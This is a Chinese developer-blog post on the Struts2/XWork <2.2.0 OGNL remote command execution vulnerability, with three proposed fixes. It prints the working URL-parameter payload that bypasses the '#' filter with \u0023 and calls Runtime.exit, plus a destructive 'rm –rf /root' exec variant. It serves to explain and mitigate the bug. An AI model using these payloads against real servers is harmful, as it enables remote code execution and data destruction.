热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phpstrus2漏洞攻击_struts2漏洞攻击方法与解决方案

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。漏洞名称:Struts2XWork

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。

漏洞名称&#xff1a;Struts2/XWork <2.2.0 Remote Command Execution Vulnerability

相关介绍&#xff1a;

http://www.exploit-db.com/exploits/14360/

http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架&#xff0c;处理 action时通过调用底层的getter/setter方法来处理http的参数&#xff0c;它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数&#xff1a;

Java代码  

?user.address.city&#61;Bishkek&user[&#39;favoriteDrink&#39;]&#61;kumys

ONGL将它转换为&#xff1a;

Java代码  

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的&#xff0c;使用用户提供的HTTP参数调用 ValueStack.setValue()。

为了防范篡改服务器端对象&#xff0c;XWork的ParametersInterceptor不允许参数名中出现“#”字符&#xff0c;但如果使用了Java的 unicode字符串表示\u0023&#xff0c;攻击者就可以绕过保护&#xff0c;修改保护Java方式执行的值&#xff1a;

此处代码有破坏性&#xff0c;请在测试环境执行&#xff0c;严禁用此种方法进行恶意攻击

Java代码  

?(&#39;\u0023_memberAccess[\&#39;allowStaticMethodAccess\&#39;]&#39;)(meh)&#61;true&(aaa)((&#39;\u0023context[\&#39;xwork.MethodAccessor.denyMethodExecution\&#39;]\u003d\u0023foo&#39;)(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)((&#39;\u0023rt.exit(1)&#39;)(\u0023rt\u003d&#64;java.lang.Runtime&#64;getRuntime()))&#61;1

转义后是这样&#xff1a;

Java代码  

?(&#39;#_memberAccess[&#39;allowStaticMethodAccess&#39;]&#39;)(meh)&#61;true&(aaa)((&#39;#context[&#39;xwork.MethodAccessor.denyMethodExecution&#39;]&#61;#foo&#39;)(#foo&#61;new%20java.lang.Boolean("false")))&(asdf)((&#39;#rt.exit(1)&#39;)(#rt&#61;&#64;java.lang.Runtime&#64;getRuntime()))&#61;1

OGNL处理时最终的结果就是

Java代码  

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

Java代码  

java.lang.Runtime.getRuntime().exec("rm –rf /root")

&#xff0c;只要有权限就可以删除任何一个目录。

目前尝试了3个解决方案&#xff1a;

1.升级到struts2.2版本。

这个可以避免这个问题&#xff0c;但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release)&#xff0c;经我测试发现新版本虽然解决了上述的漏洞&#xff0c;但是新的问题是strus标签出问题了。

Java代码  

这样的标签在struts2.0中是可以使用的&#xff0c;但是新版中就不解析了&#xff0c;原因就是“#”的问题导致的&#xff0c;补了漏洞&#xff0c;正常的使用也用不了了。

所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

Java代码  

.*\\u0023.*

这个可以解决漏洞问题&#xff0c;缺点是工作量大&#xff0c;每个项目都得改struts配置文件。如果项目里&#xff0c;是引用的一个类似global.xml的配置文件&#xff0c;工作量相应减少一些。

3.在前端请求进行过滤。

比如在ngnix&#xff0c;apache进行拦截&#xff0c;参数中带有\u0023的一律视为攻击&#xff0c;跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。

请求如果是get方式&#xff0c;可以进行过滤&#xff0c;如果是post方式就过滤不到了&#xff0c;所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法&#xff0c;采用第三种方法比较简便。是否有另外的解决办法&#xff0c;欢迎大家讨论。

我并没有在windows环境下测试&#xff0c;有同学在windows下没有试验成功&#xff0c;这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在&#xff0c;咱们就要重视对吧。欢迎大家测试&#xff0c;是否windows下漏洞不能执行成功。



推荐阅读
  • EPPlus绘制刻度线的方法及示例代码
    本文介绍了使用EPPlus绘制刻度线的方法,并提供了示例代码。通过ExcelPackage类和List对象,可以实现在Excel中绘制刻度线的功能。具体的方法和示例代码在文章中进行了详细的介绍和演示。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • 本文介绍了在iOS开发中使用UITextField实现字符限制的方法,包括利用代理方法和使用BNTextField-Limit库的实现策略。通过这些方法,开发者可以方便地限制UITextField的字符个数和输入规则。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 本文介绍了pack布局管理器在Perl/Tk中的使用方法及注意事项。通过调用pack()方法,可以控制部件在显示窗口中的位置和大小。同时,本文还提到了在使用pack布局管理器时,应注意将部件分组以便在水平和垂直方向上进行堆放。此外,还介绍了使用Frame部件或Toplevel部件来组织部件在窗口内的方法。最后,本文强调了在使用pack布局管理器时,应避免在中间切换到grid布局管理器,以免造成混乱。 ... [详细]
  • Iamtryingtocreateanarrayofstructinstanceslikethis:我试图创建一个这样的struct实例数组:letinstallers: ... [详细]
  • python3 nmap函数简介及使用方法
    本文介绍了python3 nmap函数的简介及使用方法,python-nmap是一个使用nmap进行端口扫描的python库,它可以生成nmap扫描报告,并帮助系统管理员进行自动化扫描任务和生成报告。同时,它也支持nmap脚本输出。文章详细介绍了python-nmap的几个py文件的功能和用途,包括__init__.py、nmap.py和test.py。__init__.py主要导入基本信息,nmap.py用于调用nmap的功能进行扫描,test.py用于测试是否可以利用nmap的扫描功能。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Java如何导入和导出Excel文件的方法和步骤详解
    本文详细介绍了在SpringBoot中使用Java导入和导出Excel文件的方法和步骤,包括添加操作Excel的依赖、自定义注解等。文章还提供了示例代码,并将代码上传至GitHub供访问。 ... [详细]
  • REVERT权限切换的操作步骤和注意事项
    本文介绍了在SQL Server中进行REVERT权限切换的操作步骤和注意事项。首先登录到SQL Server,其中包括一个具有很小权限的普通用户和一个系统管理员角色中的成员。然后通过添加Windows登录到SQL Server,并将其添加到AdventureWorks数据库中的用户列表中。最后通过REVERT命令切换权限。在操作过程中需要注意的是,确保登录名和数据库名的正确性,并遵循安全措施,以防止权限泄露和数据损坏。 ... [详细]
  • 本文介绍了如何在Azure应用服务实例上获取.NetCore 3.0+的支持。作者分享了自己在将代码升级为使用.NET Core 3.0时遇到的问题,并提供了解决方法。文章还介绍了在部署过程中使用Kudu构建的方法,并指出了可能出现的错误。此外,还介绍了开发者应用服务计划和免费产品应用服务计划在不同地区的运行情况。最后,文章指出了当前的.NET SDK不支持目标为.NET Core 3.0的问题,并提供了解决方案。 ... [详细]
author-avatar
BuauOoO_987
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有